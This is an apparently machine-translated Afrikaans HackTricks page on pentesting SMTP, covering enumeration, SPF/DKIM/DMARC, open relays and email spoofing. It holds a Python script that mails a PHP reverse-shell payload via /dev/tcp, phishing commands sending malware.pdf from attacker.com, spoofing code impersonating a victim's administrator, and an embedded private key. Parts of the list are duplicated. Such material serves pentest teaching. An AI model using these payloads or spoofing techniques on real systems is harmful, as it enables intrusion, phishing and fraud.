hacktricks/network-services-pentesting/pentesting-smtp
2024-02-11 02:07:06 +00:00
..
README.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
smtp-commands.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

25,465,587 - Pentesting SMTP/s

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Onmiddellik beskikbare opset vir kwesbaarheidsassessering en penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Basiese Inligting

Die Simple Mail Transfer Protocol (SMTP) is 'n protokol wat binne die TCP/IP-suite gebruik word vir die stuur en ontvang van e-pos. As gevolg van sy beperkings in die toustaan van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met POP3 of IMAP gebruik. Hierdie bykomende protokolle maak dit vir gebruikers moontlik om boodskappe op 'n bedienerposbus te stoor en dit periodiek af te laai.

In die praktyk is dit algemeen vir e-posprogramme om SMTP te gebruik vir die stuur van e-posse, terwyl hulle POP3 of IMAP gebruik om dit te ontvang. Op Unix-gebaseerde stelsels staan sendmail uit as die mees gebruikte SMTP-bedieners vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied Microsoft Exchange 'n SMTP-bediener en bied die opsie om POP3-ondersteuning in te sluit.

Verstekpoort: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EPOS-Opstellers

As jy die geleentheid het om die slagoffer 'n e-pos te laat stuur (byvoorbeeld deur die kontakvorm van die webblad te gebruik), doen dit omdat jy sodoende die interne topologie van die slagoffer kan leer deur na die opstellers van die e-pos te kyk.

Jy kan ook 'n e-pos kry van 'n SMTP-bediener deur te probeer om 'n e-pos na daardie bediener te stuur met 'n nie-bestaande adres (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos van 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.

Jy moet ook probeer om verskillende inhoud te stuur omdat jy meer interessante inligting in die opstellers kan vind, soos: X-Virus-Scanned: by av.domain.com
Jy moet die EICAR-toetslêer stuur.
Die opsporing van die AV kan jou in staat stel om bekende kwesbaarhede uit te buit.

Basiese aksies

Opstellers gryp/Basiese verbinding

SMTP:

nc -vn <IP> 25

SMTPS:

SMTPS (Secure SMTP) is 'n beveiligde weergawe van die Simple Mail Transfer Protocol (SMTP) wat gebruik word om e-posse te stuur en te ontvang. Dit maak gebruik van SSL- of TLS-versleuteling om die kommunikasie tussen die e-poskliënt en die e-posbediener te beveilig. Hierdie beveiligingslaag verseker dat die e-posse veilig oorgedra word en beskerm teen afluistering en manipulasie deur aanvallers. Om toegang te verkry tot 'n SMTPS-bedienaar, moet jy 'n geldige sertifikaat hê wat deur die bediener vertrou word.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Vind MX-bedieners van 'n organisasie

Om die MX-bedieners van 'n organisasie te vind, kan jy die volgende stappe volg:

  1. Gebruik 'n DNS-navraaghulpmiddel soos nslookup of dig om die DNS-rekords van die organisasie se domein te ondersoek. Byvoorbeeld:

    nslookup -type=MX example.com
    

    Hierdie opdrag sal die MX-rekords vir die domein example.com toon.

  2. Kyk vir die resultate van die navraag en identifiseer die MX-bedieners. Die MX-bedieners is die rekords wat begin met die voorvoegsel MX en 'n prioriteitstoekenning het. Byvoorbeeld:

    example.com       MX preference = 10, mail exchanger = mx1.example.com
    example.com       MX preference = 20, mail exchanger = mx2.example.com
    

    In hierdie geval is mx1.example.com en mx2.example.com die MX-bedieners van die organisasie.

Deur hierdie stappe te volg, sal jy in staat wees om die MX-bedieners van 'n organisasie te vind. Hierdie inligting kan nuttig wees vir SMTP-pentesting en ander netwerktoetse.

dig +short mx google.com

Opstel

Enumeration is 'n proses waardeur 'n aanvaller inligting versamel oor 'n SMTP-diens om potensiële aanvalspunte te identifiseer. Hier is 'n paar tegnieke wat gebruik kan word vir enumeration:

  • SMTP Banner Grabbing: Hierdie tegniek behels die verbind met die SMTP-diens en die ondersoek van die banner wat deur die diens teruggestuur word. Die banner kan inligting bevat soos die diens se weergawe en die gebruikte sagteware.

  • User Enumeration: Hierdie tegniek behels die identifisering van geldige gebruikers op die SMTP-diens. Dit kan gedoen word deur verskillende gebruikersname te probeer en te kyk vir spesifieke foutboodskappe wat aandui of 'n gebruiker geldig is of nie.

  • Email Address Enumeration: Hierdie tegniek behels die identifisering van geldige e-posadresse op die SMTP-diens. Dit kan gedoen word deur verskillende e-posadresse te probeer en te kyk vir spesifieke foutboodskappe wat aandui of 'n e-posadres geldig is of nie.

  • SMTP VRFY-enumerasie: Hierdie tegniek behels die gebruik van die SMTP VRFY-opdrag om te bevestig of 'n spesifieke gebruiker of e-posadres geldig is op die diens.

  • SMTP RCPT-enumerasie: Hierdie tegniek behels die gebruik van die SMTP RCPT-opdrag om te bevestig of 'n spesifieke e-posadres geldig is op die diens.

  • SMTP EXPN-enumerasie: Hierdie tegniek behels die gebruik van die SMTP EXPN-opdrag om die volledige e-posadres van 'n spesifieke gebruiker te verkry.

  • SMTP Relay-enumerasie: Hierdie tegniek behels die identifisering van SMTP-relay-stelsels wat gebruik kan word om e-posse te stuur sonder die nodige outentifikasie.

  • SMTP User-Agent-enumerasie: Hierdie tegniek behels die identifisering van die gebruikte e-poskliënt of -agtent deur die SMTP-diens.

  • SMTP Extension-enumerasie: Hierdie tegniek behels die identifisering van enige uitbreidings wat deur die SMTP-diens ondersteun word.

  • SMTP Service-enumerasie: Hierdie tegniek behels die identifisering van ander dienste wat op dieselfde bediener as die SMTP-diens uitgevoer word.

  • SMTP Verbindings-enumerasie: Hierdie tegniek behels die identifisering van die maksimum aantal toegelate verbindings na die SMTP-diens.

  • SMTP Relay-enumerasie: Hierdie tegniek behels die identifisering van SMTP-relay-stelsels wat gebruik kan word om e-posse te stuur sonder die nodige outentifikasie.

  • SMTP User-Agent-enumerasie: Hierdie tegniek behels die identifisering van die gebruikte e-poskliënt of -agtent deur die SMTP-diens.

  • SMTP Extension-enumerasie: Hierdie tegniek behels die identifisering van enige uitbreidings wat deur die SMTP-diens ondersteun word.

  • SMTP Service-enumerasie: Hierdie tegniek behels die identifisering van ander dienste wat op dieselfde bediener as die SMTP-diens uitgevoer word.

  • SMTP Verbindings-enumerasie: Hierdie tegniek behels die identifisering van die maksimum aantal toegelate verbindings na die SMTP-diens.

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Inligtingsoffergawe

As die bediener NTLM-verifikasie ondersteun (Windows), kan jy sensitiewe inligting (weergawes) verkry. Meer inligting hier.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Of outomatiseer dit met die nmap invoegtoepassing smtp-ntlm-info.nse

Interne bedienernaam - Inligtingsoopmaking

Sommige SMTP-bedieners voltooi outomaties 'n afsender se adres wanneer die opdrag "MAIL FROM" uitgereik word sonder 'n volledige adres, wat die interne naam daarvan openbaar maak:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Kyk of jy 'n wagwoord kan snuif van die pakkies na poort 25.

Auth bruteforce

Gebruikersnaam Bruteforce Enumerasie

Verifikasie is nie altyd nodig nie

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY (VeriFy) is a command used in the Simple Mail Transfer Protocol (SMTP) to verify the existence of a specific email address. It is commonly used by email servers to check if an email address is valid before accepting incoming messages.

When the VRFY command is sent to an SMTP server, the server will respond with one of the following:

  • 250 OK: This means that the email address exists and is valid.
  • 550 No such user: This means that the email address does not exist or is not valid.

VRFY can be useful during the reconnaissance phase of a penetration test, as it allows the tester to gather information about valid email addresses on a target system. However, it is important to note that some SMTP servers may be configured to disable the VRFY command due to security concerns.

To use the VRFY command, you can use a telnet client to connect to the SMTP server on port 25 and then issue the VRFY command followed by the email address you want to verify. For example:

telnet mail.example.com 25
VRFY john.doe@example.com

The server's response will indicate whether the email address is valid or not.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

Die EXPN-opdrag word gebruik om die volledige e-posadres van 'n ontvanger te verkry deur die e-posadresuitbreiding van 'n gebruiker te onthul. Dit kan nuttig wees vir 'n aanvaller om 'n lys geldige e-posadresuitbreidings te verkry vir doeleindes soos sosiale ingenieurswese of spamverspreiding.

Om die EXPN-opdrag uit te voer, kan jy die volgende stappe volg:

  1. Verbind met die SMTP-bediener deur die relevante poort (gewoonlik poort 25) te gebruik.
  2. Stuur die opdrag EXPN <gebruikersnaam> na die bediener, waar <gebruikersnaam> die e-posadresuitbreiding is wat jy wil onthul.
  3. Ontvang die reaksie van die bediener. As die uitbreiding geldig is, sal die bediener die volledige e-posadres terugstuur. As die uitbreiding nie geldig is nie, sal die bediener 'n foutboodskap terugstuur.

Dit is belangrik om te onthou dat nie alle SMTP-bedieners die EXPN-opdrag ondersteun nie, en dit kan deur die bediener gedeaktiveer word vir sekuriteitsredes.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Outomatiese gereedskap

Daar is verskeie outomatiese gereedskap beskikbaar vir SMTP-pentesting wat jou kan help om vinnig en doeltreffend te skandeer vir sekuriteitskwessies en swakheid in 'n SMTP-diens. Hier is 'n paar van die gewildste outomatiese gereedskap wat jy kan gebruik:

  • Nmap: 'n Veelsydige skanderingstool wat ook SMTP-dienste kan skandeer en sekuriteitskwessies kan identifiseer.
  • Metasploit: 'n Kragtige raamwerk vir penetrasietoetse wat 'n verskeidenheid modules bevat vir SMTP-pentesting.
  • OpenVAS: 'n Open Source-vulnerabiliteitsbeoordelingstool wat ook SMTP-dienste kan skandeer vir swakheid.
  • SMTP User Enum: 'n Gereedskap wat gebruik kan word om geldige gebruikersname in 'n SMTP-diens te identifiseer deur middel van 'n gebruikersnaamopsoek.
  • SMTPTester: 'n Eenvoudige gereedskap wat SMTP-dienste kan skandeer en toets vir swakheid soos oop relays en ongeldige gebruikersname.

Dit is belangrik om te onthou dat outomatiese gereedskap slegs 'n hulpmiddel is en nie al die moontlike swakheid en sekuriteitskwessies kan opspoor nie. Dit is altyd 'n goeie praktyk om handmatige pentesting-tegnieke te gebruik om 'n volledige beeld van die sekuriteit van 'n SMTP-diens te verkry.

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Onmiddellik beskikbare opset vir kwesbaarheidsassessering en penetrasietoetsing. Voer 'n volledige penetrasietoets uit van enige plek met 20+ gereedskap en funksies wat strek van verkenningswerk tot verslagdoening. Ons vervang nie penetrasietoetsers nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

DSN-rapporte

Afleweringsstatuskennisgewingsrapporte: As jy 'n e-pos na 'n organisasie stuur na 'n ongeldige adres, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n e-pos terug te stuur. Koppe van die teruggestuurde e-pos sal moontlike sensitiewe inligting bevat (soos IP-adres van die e-posdienste wat met die rapporte geïnteraksie het of inligting oor antivirus sagteware).

Opdragte

Stuur 'n e-pos vanaf die Linux-konsole

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Stuur 'n E-pos met Python

Om 'n e-pos te stuur met Python, kan jy die smtplib-biblioteek gebruik. Hier is 'n voorbeeld van hoe om dit te doen:

import smtplib

def send_email(sender_email, sender_password, receiver_email, subject, message):
    try:
        # Verbind met die SMTP-bediener
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login(sender_email, sender_password)

        # Stel die e-pos op
        email_message = f"Subject: {subject}\n\n{message}"

        # Stuur die e-pos
        server.sendmail(sender_email, receiver_email, email_message)
        print("E-pos suksesvol gestuur!")
    except Exception as e:
        print(f"Fout tydens die stuur van die e-pos: {str(e)}")
    finally:
        # Sluit die verbinding met die SMTP-bediener
        server.quit()

# Stel die nodige inligting op
sender_email = "jou@gmail.com"
sender_password = "jouwagwoord"
receiver_email = "ontvanger@gmail.com"
subject = "Hallo daar!"
message = "Hierdie is 'n toetsboodskap."

# Stuur die e-pos
send_email(sender_email, sender_password, receiver_email, subject, message)

Sorg dat jy die volgende veranderinge maak aan die kode:

  • Vervang jou@gmail.com met jou e-posadres.
  • Vervang jouwagwoord met jou e-pos wagwoord.
  • Vervang ontvanger@gmail.com met die e-posadres van die ontvanger.
  • Pas die onderwerp en boodskap aan soos nodig.

Hierdie kode sal 'n e-pos stuur vanaf jou Gmail-rekening na die ontvanger se e-posadres.

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

E-posvervalsing Teenmaatreëls

Organisasies word verhoed om ongemagtigde e-posse namens hulle te stuur deur gebruik te maak van SPF, DKIM, en DMARC as gevolg van die maklikheid van e-posvervalsing.

'n Volledige gids oor hierdie teenmaatreëls is beskikbaar by https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} SPF is in 2014 "verouderd" geraak. Dit beteken dat jy in plaas van 'n TXT-rekord in _spf.domain.com 'n rekord in domain.com moet skep met dieselfde sintaksis.
Verder is dit baie algemeen om iets soos "v=spf1 include:_spf.google.com ~all" te vind om vorige SPF-rekords te hergebruik. {% endhint %}

Sender Policy Framework (SPF) is 'n meganisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, gemagtig is deur 'n lys van gemagtigde posdiensverskaffers te ondervra wat deur die organisasies gedefinieer is. Hierdie lys, wat IP-adresse/reekse, domeine en ander entiteite insluit wat gemagtig is om e-pos namens 'n domeinnaam te stuur, bevat verskillende "Meganismes" in die SPF-rekord.

Meganismes

Vanaf Wikipedia:

Meganisme Beskrywing
ALL Pas altyd; gebruik vir 'n verstekresultaat soos -all vir alle IP-adresse wat nie deur vorige meganismes gekoppel is nie.
A As die domeinnaam 'n adresrekord (A of AAAA) het wat opgelos kan word na die afstuurder se adres, sal dit pas.
IP4 As die afstuurder binne 'n gegewe IPv4-adresreekse is, pas dit.
IP6 As die afstuurder binne 'n gegewe IPv6-adresreekse is, pas dit.
MX As die domeinnaam 'n MX-rekord het wat oplos na die afstuurder se adres, sal dit pas (m.a.w. die pos kom van een van die domein se inkomende posdiensverskaffers).
PTR As die domeinnaam (PTR-rekord) vir die kliënt se adres binne die gegewe domein is en daardie domeinnaam oplos na die kliënt se adres (forward-confirmed reverse DNS), pas dit. Hierdie meganisme word afgeraai en moet vermy word, indien moontlik.
EXISTS As die gegewe domeinnaam oplos na enige adres, pas dit (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Tesame met die SPF-makrotaal bied dit meer komplekse pasmaats soos DNSBL-navrae.
INCLUDE Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie meganisme. As die ingeslote beleid egter misluk, gaan die verwerking voort. Om volledig te delegeer na 'n ander domein se beleid, moet die omskakelingsextensie gebruik word.
REDIRECT <p'N omskakeling is 'n verwysing na 'n ander domeinnaam wat 'n SPF-beleid huisves, dit maak dit moontlik dat verskeie domeine dieselfde SPF-beleid deel. Dit is nuttig wanneer daar met 'n groot hoeveelheid domeine gewerk word wat dieselfde e-posinfrastruktuur deel.

Die SPF-beleid van die domein wat in die omskakelingsmeganisme aangedui word, sal gebruik word.

Dit is ook moontlik om Kwalifiseerders te identifiseer wat aandui wat gedoen moet word as 'n meganisme ooreenstem. Standaard word die kwalifiseerder "+" gebruik (so as enige meganisme ooreenstem, beteken dit dat dit toegelaat word).
Gewoonlik sal jy aan die einde van elke SPF-beleid iets soos ~all of -all sien. Dit word gebruik om aan te dui dat as die afstuurder nie ooreenstem met enige SPF-beleid nie, jy die e-pos as onbetroubaar (~) moet merk of die e-pos moet verwerp (-).

Kwalifiseerders

Elke meganisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die bedoelde resultaat te definieer:

  • +: Kom ooreen met 'n SUKSES-resultaat. Standaard aanvaar meganismes hierdie kwalifiseerder, wat +mx gelykstaande maak aan mx.
  • ?: Verteenwoordig 'n NEUTRALE resultaat, wat op dieselfde wyse as GEEN (geen spesifieke beleid) hanteer word.
  • ~: Dui op SOFTFAIL, as 'n middeweg tussen NEUTRAAL en MISLUK. E-posse wat aan hierdie resultaat voldoen, word tipies aanvaar maar dienooreenkomstig gemerk.
  • -: Dui op MISLUK, wat aandui dat die e-pos heeltemal verwerp moet word.

In die volgende voorbeeld word die SPF-beleid van google.com geïllustreer. Let op die insluiting van SPF-beleide van verskillende domeine binne die eerste SPF-beleid:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradisioneel was dit moontlik om enige domeinnaam te vervals wat nie 'n korrekte/geen SPF-rekord gehad het nie. Vandag, as 'n e-pos afkomstig is van 'n domein sonder 'n geldige SPF-rekord, sal dit waarskynlik automaties afgekeur/gemerk word as onbetroubaar.

Om die SPF van 'n domein te kontroleer, kan jy aanlynhulpmiddels soos https://www.kitterman.com/spf/validate.html gebruik.

DKIM (DomainKeys Identified Mail)

DKIM word gebruik om uitgaande e-posse te onderteken, sodat hulle deur eksterne Mail Transfer Agents (MTA's) gevalideer kan word deur die ophaling van die domein se openbare sleutel uit DNS. Hierdie openbare sleutel word in 'n domein se TXT-rekord gevind. Om toegang tot hierdie sleutel te verkry, moet jy beide die selekteerder en die domeinnaam weet.

Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selekteerder noodsaaklik. Hierdie kan gevind word in die e-poskop 'DKIM-Signature', bv. d=gmail.com;s=20120113.

'n Opdrag om hierdie inligting op te haal kan so lyk:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC verbeter e-possekuriteit deur voort te bou op die SPF- en DKIM-protokolle. Dit stel beleide op wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om te werk met verifikasiefoute en waar om verslae oor e-posverwerkingstake te stuur.

Om die DMARC-rekord te verkry, moet jy die subdomein _dmarc ondervra

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC-etikette

Etiketnaam Doel Voorbeeld
v Protokolverise v=DMARC1
pct Persentasie van boodskappe wat gefiltreer word pct=20
ruf Verslagdoenings-URI vir forensiese verslae ruf=mailto:authfail@example.com
rua Verslagdoenings-URI van saamgestelde verslae rua=mailto:aggrep@example.com
p Beleid vir organisatoriese domein p=quarantine
sp Beleid vir subdomeine van die OD sp=reject
adkim Uitlyningmodus vir DKIM adkim=s
aspf Uitlyningmodus vir SPF aspf=r

Wat van Subdomeine?

Van hier.
Jy moet afsonderlike SPF-rekords hê vir elke subdomein waarvandaan jy e-pos wil stuur.
Die volgende is oorspronklik geplaas op openspf.org, wat vroeër 'n goeie bron vir hierdie soort dinge was.

Die Demon-vraag: Wat van subdomeine?

As ek e-pos van pielovers.demon.co.uk kry en daar is geen SPF-data vir pielovers nie, moet ek dan een vlak terug gaan en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt kan sy eie beleid hê. Dit sou nie sin maak vir Demon se beleid om standaard op al sy kliënte van toepassing te wees nie; as Demon dit wil doen, kan dit SPF-rekords vir elke subdomein opstel.

Die advies aan SPF-uitgewers is dus: jy moet 'n SPF-rekord vir elke subdomein of gasheernaam wat 'n A- of MX-rekord het, byvoeg.

Webwerwe met wildekaart-A- of MX-rekords moet ook 'n wildekaart SPF-rekord hê, van die vorm: * IN TXT "v=spf1 -all"

Dit maak sin - 'n subdomein kan heeltemal in 'n ander geografiese ligging wees en 'n baie ander SPF-definisie hê.

Oop Relais

Wanneer e-posse gestuur word, is dit belangrik om te verseker dat hulle nie as spam geïdentifiseer word nie. Dit word dikwels bereik deur die gebruik van 'n relaisbediener wat deur die ontvanger vertrou word. Tog is 'n algemene uitdaging dat administrateurs dalk nie ten volle bewus is van watter IP-reekse veilig is om toe te laat nie. Hierdie gebrek aan begrip kan lei tot foute in die opstel van die SMTP-bediener, 'n risiko wat gereeld geïdentifiseer word in sekuriteitsassesserings.

'n Omweg wat sommige administrateurs gebruik om e-posleweringprobleme te vermy, veral met betrekking tot kommunikasie met potensiële of lopende kliënte, is om verbinding vanaf enige IP-adres toe te laat. Dit word gedoen deur die mynetworks-parameter van die SMTP-bediener te konfigureer om alle IP-adresse te aanvaar, soos hieronder gewys:

mynetworks = 0.0.0.0/0

Om te bepaal of 'n posdiens 'n oop relê is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die nmap-instrument gewoonlik gebruik. Dit sluit 'n spesifieke skrips in wat ontwerp is om dit te toets. Die opdrag om 'n uitvoerige skandering op 'n bediener uit te voer (byvoorbeeld met IP 10.10.10.10) op poort 25 met behulp van nmap is:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Gereedskap

Stuur Spoof E-pos

Of jy kan 'n instrument gebruik:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} As jy enige fout kry by die gebruik van die dkim python-biblioteek om die sleutel te ontled, voel vry om hierdie volgende een te gebruik.
NOTA: Dit is net 'n vinnige oplossing om vinnige kontroles te doen in gevalle waar die openssl privaatsleutel nie deur dkim ontled kan word nie.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Of jy kan dit ook handmatig doen:

{% tabs %} {% tab title="PHP" %}

# Dit sal 'n ondertekende boodskap stuur
mail("jou_email@gmail.com", "Toets onderwerp!", "hallo! Dit is 'n toets", "Van: administrator@slagoffer.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
